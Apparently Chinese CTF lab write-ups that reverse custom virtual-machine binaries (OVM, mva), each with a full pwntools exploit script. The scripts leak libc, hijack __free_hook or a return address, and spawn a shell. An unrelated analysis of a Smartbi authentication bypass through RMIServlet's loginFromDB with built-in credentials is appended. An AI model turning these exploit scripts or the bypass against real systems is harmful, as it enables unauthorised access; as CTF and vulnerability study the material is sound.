main() {    old_free_hook = __free_hook;    __free_hook = my_free_hook;    __free_hook = old_free_hook;    return 0; 在这段代码中,定义了一个自定义的my_free_hook函数来实现内存释放的操作。在main()函数中,先保存原来的free_hook变量,然后设置自定义的my_free_hook函数为新的free_hook变量。在程序运行时,即可使用自定义的my_free_hook函数来进行内存释放的操作。 需要注意的是,自定义的free_hook函数必须遵守内存分配和释放的规范,正确地分配和释放内存,避免内存泄漏和内存溢出等问题。 也就是说,在调用free函数之后,首先会检查free_hook是否被设置了钩子函数,如果free_hook被设置了钩子函数,那么首先会调用钩子函数,然后才会调用真正的free函数,而这个钩子函数的参数,和free函数的参数是一样的,也就是要释放的堆块的指针。 如果我们将free_hook设置为system函数的地址,将要释放的堆块的开头设置为/bin/sh,那么在调用free的时候就会先调用system(“/bin/sh”)。 首先我们需要泄露libc地址,bss段上方一段距离就是got表,我们通过越界读将got表中的libc地址读取到寄存器中,这里需要注意的是,由于寄存器是双字,也就是四字节的,而地址是八字节的,所以我们需要两个寄存器才能存储一个地址。 got表中最后一个是stderr,不过我们不选它来泄露,因为stderr地址的最后两位是00。 在这里我们选择stdin来泄露,因为后续我们需要通过stdin的地址来计算得到__free_hook-8,因此尽量选择与free_hook地址相差较小的来泄露,能够减小计算量。 有了泄露目标之后,就该来计算索引了(reg[v4] = memory[reg[v2]])。memory的地址是0x202060,stdin@got的地址为0x201f80,memory也是双字类型,于是有n=(0x202060-0x201f80)/4=56,索引就是-56。 该如何构造出-56,可以通过在内存中负数的存储方式来构造,0xffffffc8在内存中就表示-56,通过-56读取stdin地址的后四字节,通过-55读取前四个字节。如何得到0xffffffc8,可以通过ff左移位和加法运算得到,构造步骤如下: setnum(0,8), #reg[0]=8 setnum(1,0xff), #reg[1]=0xff setnum(2,0xff), #reg[2]=0xff left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00) add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff) left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00) add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff) setnum(1,0xc8), #reg[1]=0xc8 left_shift(2,2,0), #reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00) add(2,2,1), #reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56) 调试看看 我们首先将reg[0]设置为8,用于移位操作,将reg[1]设置为0xff,用于后续加法操作,将reg[2]也设置为0xff,用于移位操作 然后在左移操作下断点 左移之后,reg[2]变成了0xff00.继续 此时reg[2]已变成了0xffffff00,只需要再加上0xc8就能够构造出-56 然后我们读取stdin的地址,存入两个寄存器中 read(3,2), #reg[3]=memory[reg[2]]=memory[-56]setnum(1,1), #reg[1]=1add(2,2,1), #reg[2]=reg[2]+reg[1]=-56+1=-55read(4,2), #reg[4]=memory[reg[2]]=memory[-55] 这里为什么要用两个寄存器,是因为每个寄存器的长度只有4字节,而libc地址的长度为8字节,所以需要用两个寄存器才能存储一个完整的libc地址 在越界读的位置处下断点 stdin的libc地址的末尾4字节已经被读取到reg[3]中,再来一次越界读 此时前4字节也被读取到了reg[4]中。 有了stdin地址之后,我们计算出stdin和free_hook-8的偏移,通过add将偏移加到存储stdin地址的寄存器之上,再写入comment[0]即可,comment[0]与memory的相对索引是-8. -8是怎么算出来的 comment的地址是0x56336d3dd040,而memory的地址是0x56336d3dd060,(0x56336d3dd060-0x56336d3dd040)/4=8,而由于comment在memory的上方,所以索引应该为-8. setnum(1,0x10), #reg[1]=0x10 left_shift(1,1,0), #reg[1]=reg[1]<<8=0x10<<8=0x1000 setnum(0,0x90), #reg[0]=0x90 add(1,1,0), #reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090 add(3,3,1), #reg[3]=reg[3]+reg[1]=&stdin后四字节+0x1090=&free_hook-8后四字节 setnum(1,47), #reg[1]=47 add(2,2,1), #reg[2]=reg[2]+2=-55+47=-8 write(3,2), #memory[reg[2]]=memory[-8]=reg[3] setnum(1,1), #reg[1]=1 add(2,2,1), #reg[2]=reg[2]+1=-8+1=-7 write(4,2), #memory[reg[2]]=memory[-7]=reg[4] u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1]) #exit 利用脚本 #!/usr/bin/python from pwn import * from time import sleep context.binary = './OVM' context.log_level = 'debug' io = process('./OVM') elf = ELF('OVM') libc = ELF('/lib/x86_64-linux-gnu/libc.so.6') #reg[v4] = reg[v2] + reg[v3] def add(v4, v3, v2):    return u32((p8(0x70)+p8(v4)+p8(v3)+p8(v2))[::-1]) #reg[v4] = reg[v3] << reg[v2] def left_shift(v4, v3, v2):    return u32((p8(0xc0)+p8(v4)+p8(v3)+p8(v2))[::-1]) #reg[v4] = memory[reg[v2]] def read(v4, v2):    return u32((p8(0x30)+p8(v4)+p8(0)+p8(v2))[::-1]) #memory[reg[v2]] = reg[v4] def write(v4, v2):    return u32((p8(0x40)+p8(v4)+p8(0)+p8(v2))[::-1]) # reg[v4] = (unsigned __int8)v2 def setnum(v4, v2):    return u32((p8(0x10)+p8(v4)+p8(0)+p8(v2))[::-1]) code = [    setnum(0, 8),  # reg[0]=8    setnum(1, 0xff),  # reg[1]=0xff    setnum(2, 0xff),  # reg[2]=0xff    left_shift(2, 2, 0),  # reg[2]=reg[2]<<reg[0](reg[2]=0xff<<8=0xff00)    add(2, 2, 1),  # reg[2]=reg[2]+reg[1](reg[2]=0xff00+0xff=0xffff)    left_shift(2, 2, 0),  # reg[2]=reg[2]<<reg[0](reg[2]=0xffff<<8=0xffff00)    add(2, 2, 1),  # reg[2]=reg[2]+reg[1](reg[2]=0xffff00+0xff=0xffffff)    setnum(1, 0xc8),  # reg[1]=0xc8    # reg[2]=reg[2]<<reg[0](reg[2]=0xffffff<<8=0xffffff00)    left_shift(2, 2, 0),    # reg[2]=reg[2]+reg[1](reg[2]=0xffffff00+0xc8=0xffffffc8=-56)    add(2, 2, 1),    read(3, 2),  # reg[3]=memory[reg[2]]=memory[-56]    setnum(1, 1),  # reg[1]=1    add(2, 2, 1),  # reg[2]=reg[2]+reg[1]=-56+1=-55    read(4, 2),  # reg[4]=memory[reg[2]]=memory[-55]    setnum(1, 0x10),  # reg[1]=0x10    left_shift(1, 1, 0),  # reg[1]=reg[1]<<8=0x10<<8=0x1000    setnum(0, 0x90),  # reg[0]=0x90    # reg[1]=reg[1]+reh[0]=0x1000+0x90=0x1090 &free_hook-8-&stdin=0x1090    add(1, 1, 0),    add(3, 3, 1),  # reg[3]=reg[3]+reg[1]    setnum(1, 47),  # reg[1]=47    add(2, 2, 1),  # reg[2]=reg[2]+2=-55+47=-8    write(3, 2),  # memory[reg[2]]=memory[-8]=reg[3]    setnum(1, 1),  # reg[1]=1    add(2, 2, 1),  # reg[2]=reg[2]+1=-8+1=-7    write(4, 2),  # memory[reg[2]]=memory[-7]=reg[4]    u32((p8(0xff)+p8(0)+p8(0)+p8(0))[::-1])  # exit ] io.recvuntil('PC: ') io.sendline(str(0)) io.recvuntil('SP: ') io.sendline(str(1)) io.recvuntil('SIZE: ') io.sendline(str(len(code))) io.recvuntil('CODE: ') for i in code:    #sleep(0.2)    io.sendline(str(i)) io.recvuntil('R3: ') #gdb.attach(io) last_4bytes = int(io.recv(8), 16)+8 log.success('last_4bytes => {}'.format(hex(last_4bytes))) io.recvuntil('R4: ') first_4bytes = int(io.recv(4), 16) log.success('first_4bytes => {}'.format(hex(first_4bytes))) free_hook = (first_4bytes << 32)+last_4bytes libc_base = free_hook-libc.symbols['__free_hook'] system_addr = libc_base+libc.symbols['system'] log.success('free_hook => {}'.format(free_hook)) log.success('system_addr => {}'.format(system_addr)) io.recvuntil('OVM?\n') io.sendline('/bin/sh\x00'+p64(system_addr)) io.interactive() 实验三 VMPWN3 实验简介 这道题是也一道很典型VMPWN,接收字节码,然后进行解析,在解析过程中会存在漏洞,逆向分析这个虚拟机,找出其解析漏洞然后构造好特定的字节码输入进去从而通过这个程序漏洞拿下目标机器的权限。 题目保护检查 这道题目的保护程序相较于上一题又有所提升,所有保护全部开启。 漏洞分析 使用IDA打开程序 执行逻辑一目了然。 首先,使用fread往code中读取0x100字节的opcode,然后进入while大循环,对我们输入的opcode进行解析。 看到这个sub_11E9函数 很长一行伪代码,似乎实现了很复杂的功能,不过仔细看一看 pc的初始值为0,那我们假设这个pc现在就是0,那么这行代码就是将从code中取出4字节的opcode,然后左移8位,然后和0xFF0000进行按位与,假设当前opcode为0x12345678,0x12345678<<8&0xFF0000=0x560000,即取倒数第二字节。后面地几个操作也是一样,将每个字节取出来之后再用按位或操作组合起来,不过组合之后地opcode是将原始opcode逆序之后的。即如果原始code为0x12345678,那么取出来之后的opcode就为0x78563412。取完一串code之后,将pc指针加4。 所以这个函数的作用就是取指令,因此我们将其重命名为fetch_code。 然后继续往下看。 HIBYTE(code)是什么意思?看到汇编 将code送入eax中,然后右移24位,将此时ax中的值取出来。如果我们的code为0x78563412,那么HIBYTE(code)就是0x78.也就是说,HIBYTE(code)会取code的最高1字节。因此我们将v7重命名为code 再看到对v6进行判断的位置 这里做了大量的运算,但是在为代码中都没有显示出来,我们来继续分析汇编 将code存入eax,然后eax右移16位,将al存入var_249这个变量中,这个操作实际上取出的是第二个字节,因此我们将var_249重命名为second_byte。往下看 这里将code存入eax,然后将ax右移8位,将al存入var_248这个变量中,这个操作取出的是第三个字节,因此我们将var_248重命名为third_byte。 这里就是将第四个字节存入var_247中,将其重名为forth_byte。 根据取出来的1字节选择对应的功能。最大值到0xF为止,所以这里取出来的1字节应该就是功能码,对应我们要执行哪个操作。 接下来开始分析vm的功能有哪些,如何实现的。 注意到在程序中出现了大量的判断语句,判断code中的第一字节或者第二字节是否大于等于6,是的话就退出,根据我的经验,这里的判断就是对寄存器的索引值的判断,也就是寄存器的索引值最大只能为5,那么就一共有6个寄存器,索引从0到5,每个寄存器的大小为WORD,即2字节。 一个虚拟机除了通用寄存器外,还应有pc指针(在前面已经出现),以及sp指针用来指示栈顶位置,因此我们在程序中搜寻可能的sp指针。由于sp指针的变化便随着出栈和入栈,所以是相当好确定的。 在这里我们发现了类似于入栈出栈的操作,栈和栈顶指针也很快确定下来。将v9重名为sp_ptr。 v10+ v11一共0xc个字节,寄存器有2*6=0xc个字节,再加上stack,我们可以得出虚拟机的结构体如下: struct vm {  int16_t regs[6];  int16_t stack[256]; }; 应用到IDA中如下所示 整个伪代码变得更加清晰了,有哪些功能也能一眼看出 其实基本所有vm实现的功能都基本一样,在前面两题中我也做了具体分析,所以在这里就不再逐个分析了,所有功能如下所示: 那么漏洞点在哪里?注意到在进行三个寄存器的操作时,会对三个寄存器的索引值进行检查,不能大于等于6。 然而在进行乘法时: 并未对r3的索引进行检查,这样就可以将超出寄存器范围的数据进行乘法,当我们固定好另外两个寄存器的数据时就能够造成越界读的效果。 还有一个漏洞 在进行mov指令时,对r2的索引检查的时候是按照无符号整型的方式来检查的,而对r1的索引检查时则使用的是有符号整型检查,这样就有如果r1的索引为负数也一样能够通过检查。这样就有了一个越界写漏洞。 这样整体利用思路就是先利用乘法中的越界读漏洞读取libc地址,然后计算出onegadget地址,再利用越界写漏洞将onegadget地址写入到返回地址中。 接下来我们看到动态调试部分 由于虚拟机是在栈中分配的,而在栈中存在大量libc的地址,如下图 我们可以利用乘法的越界读功能,首先将一个寄存器的值设置为1,然后利用乘法的越界读功能使栈中的libc地址与1相乘并存入寄存器中,这里需要注意,由于每个寄存器只有2字节长度,而libc地址的有效长度为6字节,所以需要用3个寄存器来存储libc地址。 我们首先将reg0设置为1,如下图所示 然后我们找到最近的libc地址,如下图 而寄存器的起始地址为0x7ffde8c12c04,每个寄存器的大小为2字节,我们据此来计算这个libc地址的偏移量 如果要用寄存器来进行索引的话,那么索引下标应该为0xe,接着我们用乘法功能,使reg[0]*reg[0xe],并将结果存入reg[0]中 如上图所示,已经将libc地址的末尾2字节存入了reg[0]中。 后续我们继续按照此操作,将libc地址的剩余字节也存入reg[1]和reg[2]中,如下图 有了libc地址之后,就可以根据libc地址计算onegadget的地址了 选择0xe3b31这个onegadget,那么它在libc中的加载地址就为libc_base+0xe3b31 依然由于寄存器是2字节长度,所以我们每次对二字节进行操作,可以看到onegadget的末尾二字节和reg[0]的差值是0x431,也就是说reg[0]+0x431就可以得到onegadget的末尾二字节; 而中间二字节的差值为0x14,即reg[1]+0x14就可以得到onegadget的中间二字节的值,而最开头的地址都是一样的,不需要进行计算。 为了计算onegadget的地址,我们使用add功能。 接下来我们需要将onegadget的地址写入到某个地址中,由于vm位于栈中,所以我们考虑将onegadget写入返回地址中 但是越界写功能只能够往上越界写,而返回地址位于虚拟机的下方,这里该怎么办才能顺利写呢? 注意到在push功能处 栈顶指针是有符号类型,因此如果栈顶指针为负数就可以通过检查,我们看看栈顶指针距离返回地址的偏移量为多少 虚拟机的栈也是2字节为单位,所以如果要通过栈索引到返回地址,则需要数组下标为0x10c。 在push进行赋值时,存在这样的操作 假设rax为0x800000000000010c,rax*2之后就会整数溢出变成0x0000000000000218,这样就既可以绕过栈顶指针检测也可以将栈顶指针修改为指向返回地址。 后面我们再将寄存器中的值压栈,就可以将返回地址覆盖为onegadget的地址,这样一来程序结束时就能够调用onegadget来getshell 利用脚本 from pwn import * context.log_level='debug' io=process('./mva') libc=ELF('/usr/lib/freelibs/amd64/2.31-0ubuntu9.7_amd64/libc-2.31.so') onegadget=0xe3b31 def get_command(code, op1, op2, op3): return p8(code) + p8(op1) + p8(op2) + p8(op3) def movl(reg, value): return get_command(1, reg, value >> 8, value & 0xFF) def add(dest, add1, add2): return get_command(2, dest, add1, add2) def sub(dest, subee, suber): return get_command(3, dest, subee, suber) def band(dest, and1, and2): return get_command(4, dest, and1, and2) def bor(dest, or1, or2): return get_command(5, dest, or1, or2) def sar(dest, off): return get_command(6, dest, off, 0) def bxor(dest, xor1, xor2): return get_command(7, dest, xor1, xor2) def push(reg, value): if reg == 0: return get_command(9, reg, 0, 0) else: return get_command(9, reg, value >> 8, value & 0xFF) def pop(reg): return get_command(10, reg, 0, 0) def imul(dest, imul1, imul2): return get_command(13, dest, imul1, imul2) def mov(src, dest): return get_command(14, src, dest, 0) def print_top(): return get_command(15, 0, 0, 0) def pwn():    io.recvuntil('[+] Welcome to MVA, input your code now :')    payload=movl(0,0x1)    payload+=imul(0,14,0)    payload+=movl(1,0x1)    payload+=imul(1,15,1)    payload+=movl(2,0x1)    payload+=imul(2,16,2)    payload+=movl(4,0x431)    payload+=add(0,0,4)    payload+=movl(4,0x14)    payload+=sub(1,1,4)    payload+=movl(4,0x8000)    payload+=mov(4,0xf9)    payload+=movl(4,0x10c)    payload+=mov(4,0xf6)    payload+=push(0,0)    payload+=mov(1,0)    payload+=push(0,0)    payload+=mov(2,0)    payload+=push(0,0)    payload=payload.ljust(0x100,'\x00')    # gdb.attach(io,'b *$rebase(0x0000000000001431)')    # pause()    io.send(payload)    io.interactive() pwn()
Smartbi 身份认证绕过漏洞
内置账号密码登录 因为自己搭建的环境存在一些问题,可能是版本过高的原因,(奇奇怪怪的问题,用户没有权限),所以目前仅仅做概念性验证,对漏洞的原理进行分析。 在未登录的情况下访问接口 /smartbi/vision/RMIServlet 我们可以比较明显的看到对应的处理类 CheckIsLoggedFilter smartbi.freequery.filter.CheckIsLoggedFilter#doFilter 从这里开始可能就是要进行比较详细的分析,首先是判断请求的路径是不是/vision/RMIServlet 是的话进入这个分支,然后判断请求体中是不是有以 windowUnloading 开头的字符串,这个跟另一种绕过方式有关,这里先不做分析 接下来依次判断是否有通过 POST 或者 GET 方法来获取参数 className methodName 如果没有的话,就对参数 encode 进行解码,对相关参数进行赋值 ‍ 这里有一个判断,对类和方法进行鉴权操作,如果是 true 就会继续判断是否登录,只需要满足 FilterUtil.needToCheck 返回 false 就可以 smartbi.util.FilterUtil#needToCheck 我们就注意到从数据库登录的操作也是不需要鉴权就可以进行访问的 smartbi.usermanager.UserManagerModule smartbi.usermanager.UserManagerModule#loginFromDB smartbi.usermanager.SecurityServiceImpl#loginFromDB 这里直接比较的是从数据库中查询出的密码,所以我们就可以直接利用内置的账号和 MD5密码登录 admin 也是可以登录成功的 为什么不用原本的登录模式登录,首先原本的登录模式登录是不知道对应的账号和密码的其次我们再对原本的登录逻辑进行简单的分析 smartbi.usermanager.UserManagerModule#clickLogin smartbi.usermanager.UserManagerModule#login smartbi.usermanager.SecurityServiceImpl#login 主要的处理登录逻辑在这一部分 smartbi.usermanager.SecurityServiceImpl#loginDB smartbi.usermanager.UserBO#isPasswordValidate 这里在进行比较的时候 首先 String passwordInLib = this.user.getPassword(); 是从数据库中查找用户的密码,根据用户的密码开头的第一位字符,来进行处理比较 我们已经知道数据库中对应的值是 0a 但是并没有任何一个值对应的 MD5 的值是a 所以正常无法登录内置用户 漏洞修复 http://192.168.222.133:18080/smartbi/vision/sysmonitor.jsp 同样的 POC 已经无法利用成功了,我们关注一下修复的代码内容